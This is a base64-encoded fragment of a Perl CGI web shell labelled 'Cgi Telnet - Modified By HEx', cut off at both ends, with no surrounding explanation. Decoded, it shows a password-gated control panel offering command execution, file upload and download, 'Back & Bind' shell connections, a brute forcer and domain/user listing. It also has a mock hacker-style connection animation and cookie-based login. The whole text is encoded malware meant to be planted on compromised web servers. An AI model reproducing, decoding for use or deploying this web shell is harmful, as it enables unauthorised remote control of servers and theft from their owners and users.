Jz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCXZhciBhamF4PSIiOw0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9cmVuYW1lIHR5cGU9dGV4dCB2YWx1ZT0gJyIrZmlsZSsiJyAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYmFjayArICInIHZhbHVlPUNhbmNlbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRkaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWlmKGY9PSdmJykNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JGRpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOw0KCX1lbHNlDQoJew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7DQoJfQ0KfQ0KPC9zY3JpcHQ+DQo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjxjZW50ZXI+PGNvZGU+DQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4NCjx0cj4NCgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0yPg0KCQk8Yj48Zm9udCBzaXplPSI1Ij4kRWRpdFBlcnNpb248L2ZvbnQ+PC9iPg0KCTwvdGQ+DQoNCgk8dGQ+DQoNCgkJPGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+JEVOVnsiU0VSVkVSX1NPRlRXQVJFIn08L2ZvbnQ+DQoJPC90ZD4NCgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjYmIwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2JiMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4NCgk8L3RkPg0KDQo8L3RyPg0KDQo8dHI+DQo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfA0KDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1iYWNrYmluZCI+QmFjayAmIEJpbmQ8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvbWFpbnN1c2VyIj5Eb21haW5zL1VzZXJzPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfA0KPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+DQoNCjwvZm9udD48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI2ZmOTljYyIgPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luU2NyZWVuDQp7DQoNCglwcmludCA8PEVORDsNCjxwcmU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsNCiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsNCiAgICB0aGlzLnJ1bm5pbmcgPSB0cnVlOwkvLyBOZXZlciBydW4uDQogICAgcmV0dXJuOw0KICB9DQogIHRoaXMuZWxlbWVudCA9IGVsZW1lbnQ7DQogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOw0KICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsNCiAgdGhpcy5vcmlnVGV4dCA9IHRoaXMuZWxlbWVudC5pbm5lckhUTUw7DQogIHRoaXMudW5wYXJzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7DQogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsNCiAgdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KICB0aGlzLmN1cnJlbnRDaGFyID0gMDsNCiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOw0KICBpZih0aGlzLmVsZW1lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudC5pZCA9ICJ0eXBpbmd0ZXh0IiArIFR5cGluZ1RleHQuY3VycmVudEluZGV4Kys7DQogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7DQogIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICB0aGlzLmluVGFnID0gZmFsc2U7DQogIHRoaXMudGFnQnVmZmVyID0gIiI7DQogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICIiOw0KfQ0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsNClR5cGluZ1RleHQuY3VycmVudEluZGV4ID0gMDsNClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7DQogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7DQp9DQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsNCiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47DQogIGlmKHR5cGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ1bmRlZmluZWQiKSB7DQogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4NCiAgICByZXR1cm47DQogIH0NCiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOw0KLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0Lg0KICBpZih0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGgpIHsNCiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOw0KICAgICAgdGhpcy5pblRhZyA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOw0KICAgICAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOw0KICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOw0KICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIHsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgfQ0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0Ow0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsNCiAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOw0KICB9IGVsc2Ugew0KCXRoaXMuY3VycmVudFRleHQgPSAiIjsNCgl0aGlzLmN1cnJlbnRDaGFyID0gMDsNCiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOw0KICB9DQp9DQo8L3NjcmlwdD4NCjwvcHJlPg0KDQo8Zm9udCBzdHlsZT0iZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OyI+Q2dpIFRlbG5ldCAtIE1vZGlmaWVkIEJ5IEhFeCA8L2ZvbnQ+PGJyPjxicj4NCjx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI2MDAiIGhlaWdoPg0KPHRib2R5Pjx0cj4NCjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBQbGVhc2UgV2FpdCAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+DQoNCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj5+XCQ8L2ZvbnQ+IENvbm5lY3RlZCAhIDwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gQ2hlY2tpbmcgU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IFRyeWluZyBjb25uZWN0IHRvIENvbW1hbmQgLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250Pjxicj4NCg0KPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjxmb250IGNvbG9yPSIjRjAwMDAwIj5cJDwvZm9udD48L2ZvbnQ+IE9LISBZb3UgY2FuIGtpbGwgaXQhPC9mb250Pg0KPC90cj4NCjwvdGJvZHk+PC90YWJsZT4NCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpew0KCW15ICR0ZXh0ID0gc2hpZnQ7DQoJJHRleHQgPX4gcy8mLyZhbXA7L2c7DQoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOw0KCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsNCgkkdGV4dCA9fiBzLzwvJmx0Oy9nOw0KCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7DQoJcmV0dXJuICR0ZXh0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQWRkTGlua0RpcigkKQ0Kew0KCW15ICRhYz1zaGlmdDsNCglteSBAZGlyPSgpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7DQoJfWVsc2UNCgl7DQoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7DQoJfQ0KCW15ICRwYXRoPSIiOw0KCW15ICRyZXN1bHQ9IiI7DQoJZm9yZWFjaCAoQGRpcikNCgl7DQoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOw0KCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UNCnsNCglwcmludCA8PEVORDsNCjxicj5Mb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI+DQoNClBhc3N3b3JkOjxicj4NCkxvZ2luIGluY29ycmVjdDxicj48YnI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5Gb3JtDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQpMb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI+DQpQYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJcHJpbnQgIjxicj48Zm9udCBjb2xvcj1yZWQ+by0tLVsgIDxmb250IGNvbG9yPSNmZjk5MDA+RWRpdCBieSAkRWRpdFBlcnNpb24gPC9mb250PiAgXS0tLW88L2ZvbnQ+PC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQoJZXhpdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcjsNCgkJcHJpbnQgJkxpc3REaXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL